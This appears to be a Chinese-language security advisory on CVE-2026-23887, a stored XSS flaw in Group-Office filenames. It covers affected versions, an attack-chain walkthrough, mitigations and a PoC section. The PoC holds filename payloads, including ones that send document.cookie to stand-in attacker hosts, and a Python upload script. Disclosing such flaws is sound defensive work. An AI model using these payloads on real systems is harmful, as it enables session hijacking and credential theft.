IPBUF安全漏洞报告
English
CVE-2026-23887 CVSS 5.4 中危

CVE-2026-23887: Group-Office 存储型跨站脚本(XSS)漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23887
漏洞类型
存储型XSS(Stored Cross-Site Scripting)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Group-Office

相关标签

存储型XSSCVE-2026-23887Group-OfficeWeb应用安全跨站脚本企业CRM群件工具CVSS 5.4中危漏洞文件上传漏洞

漏洞概述

CVE-2026-23887是Group-Office企业客户关系管理和群件工具中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响Group-Office 6.8.148及以下版本,以及25.0.1至25.0.79版本。漏洞的根本原因是应用程序在数据库中存储文件名时未对用户输入进行适当的过滤和转义处理。攻击者可以通过上传包含恶意JavaScript代码的文件名来触发此漏洞。当其他用户在Group-Office应用中查看或与这些特制的文件名交互时,嵌入在文件名中的恶意脚本代码将在受害者的浏览器上下文中执行。由于该漏洞属于存储型XSS,恶意代码会被永久存储在数据库中,任何访问受影响文件的用户都可能成为受害者。此漏洞的CVSS评分为5.4,属于中等严重程度,攻击复杂度低但需要低权限用户交互。虽然攻击范围限于文件查看上下文,但攻击者仍可利用此漏洞窃取用户会话cookie、劫持用户会话或执行未经授权的操作。官方已在6.8.149和25.0.80版本中修复此问题。

技术细节

Group-Office在处理文件上传功能时存在存储型XSS漏洞。应用程序将用户上传的文件名直接存储到数据库中,未进行HTML实体编码或输入过滤。当文件名中包含恶意构造的JavaScript代码(如<script>标签或事件处理器属性如onerror、onload等)时,这些代码会被原样保存在数据库记录中。随后,当其他用户通过Web界面浏览、下载或以其他方式与这些文件名交互时,未经过滤的内容会被渲染到HTML页面中,导致恶意脚本在用户浏览器中执行。攻击者只需拥有低权限账户即可上传文件,攻击复杂度较低。虽然需要用户交互(如点击文件名或浏览文件列表),但由于文件管理是Group-Office的核心功能,用户频繁与文件名进行交互,大大增加了漏洞的可利用性。CVSS向量显示攻击向量为网络边界(AV:N),低权限要求(PR:L),需要用户交互(UI:R),对机密性和完整性有低影响( C:L/I:L),对可用性无影响(A:N)。

攻击链分析

STEP 1
步骤1: 侦察与准备
攻击者识别目标Group-Office实例版本,确认版本在受影响范围内(6.8.148及以下或25.0.1-25.0.79),并注册一个低权限用户账户
STEP 2
步骤2: 构造恶意载荷
攻击者构造包含恶意JavaScript代码的文件名,常见方式包括:<script>alert()</script>标签、事件处理器属性(如onerror、onload)或SVG/iframe等元素
STEP 3
步骤3: 文件上传
攻击者通过Group-Office的文件上传功能上传带有恶意文件名的文件,由于应用程序未过滤文件名,恶意代码被直接存储到数据库
STEP 4
步骤4: 等待受害者访问
当其他用户(如管理员或普通用户)在文件管理器、搜索结果或任何显示文件名的界面中查看该文件时,未经过滤的文件名被渲染到HTML中
STEP 5
步骤5: XSS执行
恶意JavaScript代码在受害者浏览器中执行,攻击者可窃取会话cookie、劫持用户会话、执行未经授权的操作或进一步横向移动
STEP 6
步骤6: 持久化控制
由于是存储型XSS,恶意代码永久存在于数据库中,除非文件被删除或漏洞被修复,否则所有访问该文件的用户都会受到攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23887 PoC - Stored XSS in Group-Office Filename # This PoC demonstrates how a malicious filename can trigger XSS # Method 1: Using script tag in filename malicious_filename_1 = '<script>alert(document.cookie)</script>' # Method 2: Using event handler (more stealthy) malicious_filename_2 = 'image.jpg" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" ' # Method 3: Using img tag with onerror malicious_filename_3 = '<img src=x onerror=eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))>' # PoC: Upload a file with malicious filename via Group-Office API import requests TARGET_URL = "http://target-groupoffice-instance/" ATTACKER_COOKIE_STEAL_URL = "https://attacker-controlled.com/collect" def exploit_stored_xss(): """ Step 1: Upload file with malicious filename """ files = { 'file': ('<img src=x onerror=fetch(`https://attacker.com/log?c=`+document.cookie)>', b'fake content') } # Note: Requires low-privilege user authentication session = requests.Session() # session.auth = ('low_priv_user', 'password') # Upload the malicious file # response = session.post(f"{TARGET_URL}core/file/upload", files=files) print("[*] File uploaded with malicious filename") print("[*] When any user views this file, XSS payload will execute") return True # The vulnerability allows stored JavaScript execution # Impact: Session hijacking, credential theft, unauthorized actions

影响范围

Group-Office < 6.8.149
Group-Office 6.8.148及以下版本
Group-Office 25.0.1 - 25.0.79

防御指南

临时缓解措施
立即将Group-Office升级到修复版本(6.8.149或25.0.80)。如果无法立即升级,可采取以下临时措施:限制低权限用户的上传功能权限,启用严格的文件名过滤规则禁用特殊字符,在Web服务器层面实施内容安全策略(CSP)头部,以及对文件列表和详情页面实施额外的输出编码。建议管理员审查近期上传的文件,删除可疑文件名,并关注应用日志中的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表